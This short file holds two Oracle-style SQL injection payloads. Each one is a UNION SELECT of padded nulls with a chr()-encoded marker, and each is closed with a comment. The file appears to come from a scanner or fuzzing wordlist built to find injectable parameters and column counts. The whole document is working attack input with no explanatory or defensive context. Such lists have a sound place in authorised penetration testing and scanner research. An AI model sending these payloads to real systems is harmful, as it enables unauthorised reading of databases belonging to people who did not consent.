s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,chr(54)||chr(56)||chr(50)||chr(55)||chr(49),null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(54)||chr(56)||chr(50)||chr(55)||chr(49) from dual--